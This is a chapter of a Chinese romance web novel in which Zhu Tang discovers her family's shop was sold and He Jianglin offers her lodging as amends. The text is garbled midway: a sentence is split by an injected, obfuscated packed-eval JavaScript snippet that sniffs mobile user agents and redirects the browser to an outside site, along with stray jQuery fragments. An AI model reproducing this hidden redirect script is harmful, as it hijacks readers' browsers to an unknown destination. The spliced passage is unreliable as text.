6. 卖了

作品:《夫人我不要和离啊!

    是先看热闹还是先做生意,老板是很清楚的,但祝棠显然选择了前者。


    她一骨碌把刚刚拿在手里的一堆东西放下,然后拉着知桃就往前跑。


    别人认不认得出她不知道,但她认出来了,大喇喇坐在木梯上掀别人家牌匾的那厮不是贺江临还能是谁!


    贺父在下面气得吹胡子瞪眼,他好端端在衙门上堂呢,结果有人跑来报说贺江临要把人家的店铺给掀了。


    顾不得其他,贺父急急忙忙就赶来了。


    没想到真看到这货在别人店门前胡作非为。


    气得当场暴呵,连连怒骂,让这逆子马上滚下来道歉。


    贺江临不这么想,他在上面呆的好好的,只是想看看这牌匾后面是不是真有一个“祝”字,前几家店铺老板都没说话,他安安静静看了就走人了。


    偏偏这家的人特倔,非要大喊大叫把事闹大,这下好了,把他父亲都引来了。


    贺江临坐在上面,面露不耐,翻了个大大的白眼,敷衍道:“好好好,马上就下来。”


    看见下面围着的人群,大喊了一声:


    “都让开!”


    不管三七二十一,把腿一跨,单手一撑,直接从上面跳了下来,稳稳落地。


    双手作揖,朝那受了惊吓的掌柜小厮们道歉,只是语气欠欠,像是不服,眼皮一撩,耷拉着脸:


    “对不住。”


    只有这么干巴巴的三个字。


    再多也没有了。


    贺父一旁的仆从早就看烂了这样的场景,眼下轻车熟路走上前去,脸上堆着笑,语气恭敬有礼:


    “这是赔礼,请笑纳。”


    贺江临懒得看他们推来推去的戏码,转身和他父亲对上,瞳色沉沉,眉心微皱,说出的话也不太中听:


    “老头,你把祝家送的铺子卖了?”


    贺父脸一黑,太阳穴的神经一跳一跳,极力忍耐着:“你就这样跟你父亲说话!”


    贺江临眼皮耷拉着,懒懒的,像是听了一万遍类似的话语,伸手掏了掏耳朵,继续补充道:


    “兴州祝家的铺子,你是不是给卖了?”


    不想在和贺江临多说一句话,贺父摆了摆手,彻底没了耐心:“早卖了。”


    “别人的铺子你拿去卖了算怎么回事!”


    不说还好,提起这个贺父就来气,伸出手指着贺江临的鼻子,气呼呼的:


    “你说为什么!”


    “要不是你和那太守的打架斗殴,老子至于卖铺子去送钱赔笑吗!”


    ……


    祝棠听着听着,发现两人说的是自己家的铺子。


    不知道什么时候早就卖了。


    像是被人迎头打了一棒,祝棠原本上扬的嘴角僵住,眼神一点点沉了下来。


    贺江临摸了摸鼻子,心虚地偏过脑袋,正好和祝棠对上。


    少女身量不高,此刻就站在街道中间,手里不知道捏着什么。


    脸上面无表情,原本有些弧度的嘴角一点一点收回,此刻唇线平直,抿成一条线状。


    边上的人来来往往,贺江临却只看到了祝棠一个人。


    莫名心头一悸,不知是心虚还是害怕,他没再搭理贺父,直愣愣地抬腿便朝祝棠走去。


    一直到很多年以后,贺江临才意识到,有些事情,原来那么早就已经注定了。


    祝棠心头窝火,本想转头就走。


    但走是很容易的,后面该怎么办?


    她定定地站在那不动,看着贺江临朝她越走越近,眉眼也越来越清晰。


    少年五官精致鲜明,鼻梁直挺,现下眼角略微下垂,透露出一丝无措,语气听起来有些迟疑:


    “你听到了?”


    贺江临只小心地问了一句。


    祝棠闷闷地“嗯”了一声。


    咬着下唇,细密乌黑的眼睫垂着,落下一层阴影。


    贺江临是爱玩了点,又无人拘束,但不代表他没有基本的“良知”。


    两家出于友好互换定亲礼,眼下姑娘拿着玉佩来换。


    贺家却拿不出东西来。


    那张昨日在库房里找到的契书,今日还高高挂着的牌匾,内里的主人却换了个干净。


    说来祝家经商确有一套,当时贺家接手来,用不着多操心,月入百两那是轻轻松松,后来接手的老板倒不介意换不换这牌匾,借着还有些响头的牌号接着经营。


    若是知道祝家早已破败,恐怕就不会留着了。


    “祝春轩”三个大字在后边高高挂着,贺江临这会捏着兜里的文书,只觉手心发烫。


    他闭了闭眼,给出一个交代,语气艰难:“我会负责的。”


    祝棠还是低着头,看起来根本没信,手里的环扣也不玩了,声音低低,“噢”了一声。


    祝棠本来很是郁闷,她不远百里跑过来要商铺,就已经是鼓起勇气的结果了。


    眼下铺子被卖,又不可能强行赎回。


    再者,真正知晓此事的人并不多,若贺江临好心,看她主仆二人可怜,说不定给点银子就打发了。


    若懒得搭理,自是没有什么后续。


    一般人到这,都会觉得,能做的也都做了,再纠缠下去也没什么意思。


    祝棠也确实不是一个,死缠烂打的人。


    她一直不会太执着追求什么东西。


    这是她打小就知道的道理。


    如果忍让些,忍气吞声些,顺从些,日子过得是会不如意,但至少能过下去,就可以。


    她常常会谢,如果当时在孤儿院里,她表现得再乖顺些,是不是就会有人把她领走。


    如果小时候再听话些,是不是就不会被丢掉?


    经历使然,祝棠也没觉得贺江临能再做什么。


    很多人都说过喜欢她,觉得她懂事可怜,但没有人会带她走。


    贺江临也是一样,他们本就不熟,做到这份上,已经很难得可贵了。


    “贺公子,谢谢你。”


    祝棠抬眼,认真地说道。


    贺江临头一次看清,原来有人瞳孔的颜色,可以是深棕色的,像他小时候爱玩的琥珀珠子,清透漂亮。


    贺江临有点着急,声量拔高,急着证明自己:“我…你别不信呀!”


    “我信的。”祝棠像在撸猫,顺着贺江临的毛说道。


    反正真信假信都无所谓,铺子已经没了。


    这下闷闷的人变成了贺江临,他的脸色以肉眼可见的速度颓了下来,语气拖长:“屁,你的眼里写满了敷衍二字。”


    倒反天罡。


    该难受的人还要反过来安慰他。


    知桃听不下去了,她家小姐跟哄孩子似的,这贺家二郎还蹬鼻子上脸了。


    “贺公子,你差不多得了啊。”


    “你要负责,你倒是做实事啊!”


    “光嘴上说有什么用!”


    知桃愤愤道。


    贺江临听了倒也不气,方才恹恹的脸上多了几分若有所思,没一会儿,唇角微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060087|162986||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不可察地翘了起来。


    他稍微抬眼,认真地看着祝棠:


    “祝小姐,你愿不愿意跟我走一趟?”


    ——


    “你说的负责,就是让我们住在这处宅子里?”


    知桃讶异道。


    “对啊”,来到自己的地盘,贺江临明显放松多了,整个肩颈都松了下来,身形颀长,单手就推开了眼前的大门,侧身推手。


    “请——”


    祝棠说不清楚现在的感觉,她正迷茫之后该怎么办,但贺江临给她误打误撞闯了一条新的路出来。


    贺江临闲庭信步,把她们带了进去。


    是一处还算不错的宅子,虽然不大,但屋内设施一应俱全,比客栈是要舒阔得多。


    “我说了负责,就会负责。”


    “原本的铺子,我确实没办法还给你们。”


    他话锋一转:“但,我会找别的办法补偿你们。”


    “但我需要一点时间。”


    “在那之前,你们先住这里吧。”


    “总住客栈,也不是个办法。”


    意气风发的少年郎又回来了。


    贺江临找了张凳子,伸手抹了抹凳面,“总之,这段时间你们先住这”,看到手上一把灰,又嫌弃地撇了撇嘴,“等会我叫人来收拾收拾。”


    祝家原先做的无非是布料、首饰生意,祝棠接手过来也不一定能继续做下去。


    但如果重新盘一个店面,做些自己擅长的营生,或许更好一些。


    祝棠又想到了早上吃的那碟桃花酥,她下意识喃喃了一句。


    贺江临的耳朵像是挂在她身上了,连这么一声含糊的低语都听见了。


    重复了一遍,好似把“桃花酥”三个字在嘴里滚了一遍,问道:“你现在想吃?”


    贺江临终于从祝棠脸上看到从下午第一面到现在露出来的第一个笑容。


    祝棠“噗呲”一声笑了,右颊上的梨涡又现了出来。


    眼睛弯成了月牙状,洒着细碎的光,声音轻细:


    “不是。”


    “贺江临,我想拿回铺子,是想自己做个营生。”


    贺江临被她似春日涨潮的笑颜晃了眼,自己都没反应过来,已经点了头。


    “那卖胭脂水粉?”


    “可以。”


    “那卖金银首饰,姑娘用的银钗珠链?”


    “也可以。”


    “那我也去开客栈呢?”


    这下贺江临没有马上应下,皱了皱眉,说不行。


    “卖吃食、胭脂水粉、金银首饰、银钗珠链都可以,但是客栈驿站不行。”


    “胤州和你们兴州不同,没有那么多人来来往往,多数都是当地人在这生活。”


    “更何况,这些地方经营起来,太费工夫,前期投入要大的多。”


    “不行。”


    这可能是,第一次见面以来,祝棠见过贺江临最认真的一次了。


    “贺江临,谢谢你。”


    祝棠笑眯眯地看着他,神色柔软。


    贺江临拍了拍衣袍,摆摆手说:“没有没有,这本来就是贺家做的不对。”


    “要不是我,我父亲也不会卖了你家的铺子。”


    午后的阳光蒙上了一层温热,轻飘飘地落下来盈在这宅院之中。


    贺江临四肢都传来了暖意,细细麻麻的。


    “那个”


    贺江临犹豫片刻,故作自然,问道:


    “你叫什么名字?”